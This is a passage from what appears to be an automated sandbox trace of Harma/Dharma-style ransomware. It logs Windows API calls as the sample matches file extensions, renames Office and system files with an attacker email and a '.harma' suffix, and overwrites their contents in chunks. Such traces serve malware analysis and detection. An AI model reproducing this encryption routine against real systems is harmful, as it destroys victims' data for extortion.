(lpString=".dbf") returned 4 [0062.470] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0062.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0062.470] lstrlenW (lpString=".1cd") returned 4 [0062.470] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0062.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0062.470] lstrlenW (lpString=".jpg") returned 4 [0062.470] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0062.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0062.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0062.470] lstrlenW (lpString=".doc") returned 4 [0062.470] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0062.470] lstrlenW (lpString=".docx") returned 5 [0062.471] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0062.471] lstrlenW (lpString=".pdf") returned 4 [0062.471] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0062.471] lstrlenW (lpString=".xls") returned 4 [0062.471] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0062.471] lstrlenW (lpString=".xlsx") returned 5 [0062.471] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0062.471] lstrlenW (lpString=".ppt") returned 4 [0062.471] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0062.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0062.471] lstrlenW (lpString=".zip") returned 4 [0062.471] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0062.471] lstrlenW (lpString=".rar") returned 4 [0062.471] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0062.471] lstrlenW (lpString=".bz2") returned 4 [0062.471] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0062.471] lstrlenW (lpString=".7z") returned 3 [0062.471] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0062.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0062.471] lstrlenW (lpString=".dbf") returned 4 [0062.471] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0062.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0062.471] lstrlenW (lpString=".1cd") returned 4 [0062.471] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0062.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0062.471] lstrlenW (lpString=".jpg") returned 4 [0062.471] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0062.472] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0062.472] lstrlenW (lpString="osetup.dll") returned 10 [0062.472] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0062.977] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=7378792) returned 1 [0062.977] CloseHandle (hObject=0x20c) returned 1 [0062.977] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0062.977] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.977] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0062.978] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0062.978] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0x0) returned 1 [0062.978] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.978] ReadFile (in: hFile=0x20c, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.982] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.984] ReadFile (in: hFile=0x20c, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.987] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0062.987] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.987] ReadFile (in: hFile=0x20c, lpBuffer=0x3c20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c20058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.013] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.013] WriteFile (in: hFile=0x20c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x315fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0063.231] SetEndOfFile (hFile=0x20c) returned 1 [0063.231] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0063.833] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.833] WriteFile (in: hFile=0x20c, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.834] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.834] WriteFile (in: hFile=0x20c, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.836] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.836] WriteFile (in: hFile=0x20c, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.838] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0063.838] CloseHandle (hObject=0x20c) returned 1 [0063.838] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0063.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0063.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0063.838] lstrlenW (lpString=".doc") returned 4 [0063.839] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0063.839] lstrlenW (lpString=".docx") returned 5 [0063.839] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0063.839] lstrlenW (lpString=".pdf") returned 4 [0063.839] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0063.839] lstrlenW (lpString=".xls") returned 4 [0063.839] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0063.839] lstrlenW (lpString=".xlsx") returned 5 [0063.839] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0063.839] lstrlenW (lpString=".ppt") returned 4 [0063.839] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0063.839] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0063.839] lstrlenW (lpString=".zip") returned 4 [0063.839] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0063.839] lstrlenW (lpString=".rar") returned 4 [0063.839] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0063.839] lstrlenW (lpString=".bz2") returned 4 [0063.839] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0063.839] lstrlenW (lpString=".7z") returned 3 [0063.839] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0063.839] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0063.839] lstrlenW (lpString=".dbf") returned 4 [0063.839] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0063.839] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0063.839] lstrlenW (lpString=".1cd") returned 4 [0063.839] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0063.839] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0063.839] lstrlenW (lpString=".jpg") returned 4 [0063.839] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0063.840] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0063.840] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0063.840] lstrlenW (lpString=".doc") returned 4 [0063.840] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0063.840] lstrlenW (lpString=".docx") returned 5 [0063.840] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0063.840] lstrlenW (lpString=".pdf") returned 4 [0063.840] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0063.840] lstrlenW (lpString=".xls") returned 4 [0063.840] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0063.840] lstrlenW (lpString=".xlsx") returned 5 [0063.840] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0063.840] lstrlenW (lpString=".ppt") returned 4 [0063.840] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0063.840] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0063.840] lstrlenW (lpString=".zip") returned 4 [0063.840] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0063.840] lstrlenW (lpString=".rar") returned 4 [0063.840] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0063.840] lstrlenW (lpString=".bz2") returned 4 [0063.840] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0063.840] lstrlenW (lpString=".7z") returned 3 [0063.840] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0063.840] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0063.840] lstrlenW (lpString=".dbf") returned 4 [0063.840] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0063.840] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0063.840] lstrlenW (lpString=".1cd") returned 4 [0063.840] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0063.840] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0063.840] lstrlenW (lpString=".jpg") returned 4 [0063.841] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0063.841] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0063.841] lstrlenW (lpString="VisiorWW.cab") returned 12 [0063.841] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0064.890] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=195011319) returned 1 [0064.890] CloseHandle (hObject=0x15c) returned 1 [0064.890] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab")) returned 0x2020 [0064.890] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.890] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0064.891] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0064.891] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0x0) returned 1 [0064.891] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0064.891] ReadFile (in: hFile=0x15c, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.898] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0064.898] ReadFile (in: hFile=0x15c, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.902] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0064.902] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0064.902] ReadFile (in: hFile=0x15c, lpBuffer=0x3c20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c20058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.920] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.920] WriteFile (in: hFile=0x15c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x315fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0065.183] SetEndOfFile (hFile=0x15c) returned 1 [0065.183] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f13108 [0065.187] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0065.188] WriteFile (in: hFile=0x15c, lpBuffer=0x3f13108*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f13108*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0065.189] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0065.189] WriteFile (in: hFile=0x15c, lpBuffer=0x3f13108*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f13108*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0065.191] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0065.191] WriteFile (in: hFile=0x15c, lpBuffer=0x3f13108*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f13108*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0065.194] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f13108 | out: hHeap=0x5a0000) returned 1 [0065.194] CloseHandle (hObject=0x15c) returned 1 [0065.194] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0065.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0065.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0065.195] lstrlenW (lpString=".doc") returned 4 [0065.195] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0065.195] lstrlenW (lpString=".docx") returned 5 [0065.195] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0065.195] lstrlenW (lpString=".pdf") returned 4 [0065.195] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0065.195] lstrlenW (lpString=".xls") returned 4 [0065.195] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0065.195] lstrlenW (lpString=".xlsx") returned 5 [0065.195] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0065.195] lstrlenW (lpString=".ppt") returned 4 [0065.195] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0065.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0065.195] lstrlenW (lpString=".zip") returned 4 [0065.195] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0065.195] lstrlenW (lpString=".rar") returned 4 [0065.195] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0065.195] lstrlenW (lpString=".bz2") returned 4 [0065.196] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0065.196] lstrlenW (lpString=".7z") returned 3 [0065.196] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0065.196] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0065.196] lstrlenW (lpString=".dbf") returned 4 [0065.196] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0065.196] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0065.196] lstrlenW (lpString=".1cd") returned 4 [0065.196] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0065.196] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0065.196] lstrlenW (lpString=".jpg") returned 4 [0065.196] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0065.196] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0065.196] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0065.196] lstrlenW (lpString=".doc") returned 4 [0065.196] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0065.196] lstrlenW (lpString=".docx") returned 5 [0065.196] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0065.196] lstrlenW (lpString=".pdf") returned 4 [0065.196] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0065.196] lstrlenW (lpString=".xls") returned 4 [0065.196] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0065.196] lstrlenW (lpString=".xlsx") returned 5 [0065.196] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0065.197] lstrlenW (lpString=".ppt") returned 4 [0065.197] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0065.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0065.197] lstrlenW (lpString=".zip") returned 4 [0065.197] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0065.197] lstrlenW (lpString=".rar") returned 4 [0065.197] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0065.197] lstrlenW (lpString=".bz2") returned 4 [0065.197] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0065.197] lstrlenW (lpString=".7z") returned 3 [0065.197] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0065.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0065.197] lstrlenW (lpString=".dbf") returned 4 [0065.197] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0065.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0065.197] lstrlenW (lpString=".1cd") returned 4 [0065.197] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0065.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0065.197] lstrlenW (lpString=".jpg") returned 4 [0065.197] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0065.197] lstrcmpiW (lpString1=".EXE", lpString2=".harma") returned -1 [0065.198] lstrlenW (lpString="DW20.EXE") returned 8 [0065.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0065.362] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=994184) returned 1 [0065.362] CloseHandle (hObject=0x15c) returned 1 [0065.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0065.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0065.362] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.363] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 